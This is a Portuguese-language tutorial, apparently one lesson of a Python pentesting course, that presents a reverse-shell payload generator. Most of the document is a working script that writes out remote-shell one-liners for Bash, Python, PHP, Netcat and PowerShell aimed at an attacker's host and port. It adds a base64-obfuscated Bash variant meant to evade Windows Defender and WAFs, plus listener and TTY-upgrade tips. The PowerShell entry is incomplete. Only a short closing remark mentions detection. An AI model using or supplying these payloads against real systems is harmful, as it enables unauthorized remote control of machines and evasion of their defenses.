Gera payloads em várias linguagens para obter acesso reverso.

Contexto

Um Reverse Shell ocorre quando a máquina alvo (vulnerável) inicia uma conexão de rede de volta para a máquina do atacante. Isso é extremamente útil em Penteasts porque:

  • Evasão de Firewall: Firewalls geralmente bloqueiam conexões que entram, mas permitem conexões que saem (tráfego de saída).
  • Controle Interativo: Permite uma interação muito mais próxima de um terminal nativo (Bash, PowerShell) do que um Web Shell.
  • Payload Multilíngue: Dependendo do ambiente (servidor Linux com Python, Windows com PowerShell, ou servidor web com PHP), o atacante precisa de um código específico.

Possibilidades de Implementação

  • Templates por Linguagem: O script armazena "esqueletos" de código para Bash, Python, PHP, Perl, Netcat e PowerShell.
  • Injeção de Variáveis: O gerador substitui automaticamente os campos LHOST (IP do atacante) e LPORT (Porta do atacante) no template.
  • Ofuscação: Opcionalmente, o script pode converter o payload para Base64 para evitar detecção por sistemas de segurança (como o Windows Defender ou WAFs).

Código

Este módulo atua como uma "fábrica" de payloads, facilitando a vida do Pentester que não quer decorar todos os comandos de uma linha (one-liners).

import base64

def generate_payloads(lhost, lport):
    """
    Gera uma coleção de reverse shells prontos para uso.
    """
    payloads = {
        "Bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",

        "Python": f"python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
                  f"s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);"
                  f"os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'",

        "PHP": f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",

        "Netcat": f"nc -e /bin/sh {lhost} {lport}",

        "PowerShell": f"powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object "
                      f"System.Net.Sockets.TCPClient(\"{lhost}\",{lport});"
    }

    return payloads

def main():
    print("=" * 60)
    print("Módulo: Reverse Shell Generator | Projeto: 30 Lessons in Python")
    print("=" * 60)

    # Dados do atacante (você)
    lhost = input("[?] Digite seu IP (LHOST): ")
    lport = input("[?] Digite sua Porta (LPORT): ")

    print(f"\n[*] Gerando payloads para {lhost}:{lport}...\n")

    all_payloads = generate_payloads(lhost, lport)

    for lang, code in all_payloads.items():
        print(f"--- {lang} ---")
        print(code)

        # Exemplo de Ofuscação em Base64 para Bash/Linux
        if lang == "Bash":
            b64_code = base64.b64encode(code.encode()).decode()
            print(f"\n[Ofuscado B64]: echo {b64_code} | base64 -d | bash")

        print("-" * 30)

    print("\n[!] Dica: Antes de executar, inicie um listener: nc -lvnp " + lport)

if __name__ == "__main__":
    main()

Observações

  • O Listener: Um Reverse Shell não funciona sozinho. O atacante deve estar "ouvindo" na porta especificada usando ferramentas como nc -lvnp <porta> (Netcat) ou o multi/handler do Metasploit.
  • Estabilidade: Shells reversos básicos (como o de Bash) costumam "morrer" se você apertar Ctrl+C. Em seu projeto, você pode mencionar a técnica de upgrade para um TTY completo usando python -c 'import pty; pty.spawn("/bin/bash")'.
  • Segurança e Defesa: Explique que monitorar conexões de rede de saída incomuns para portas conhecidas de ataque (4444, 5555, 8888) é uma forma comum de detectar essa atividade.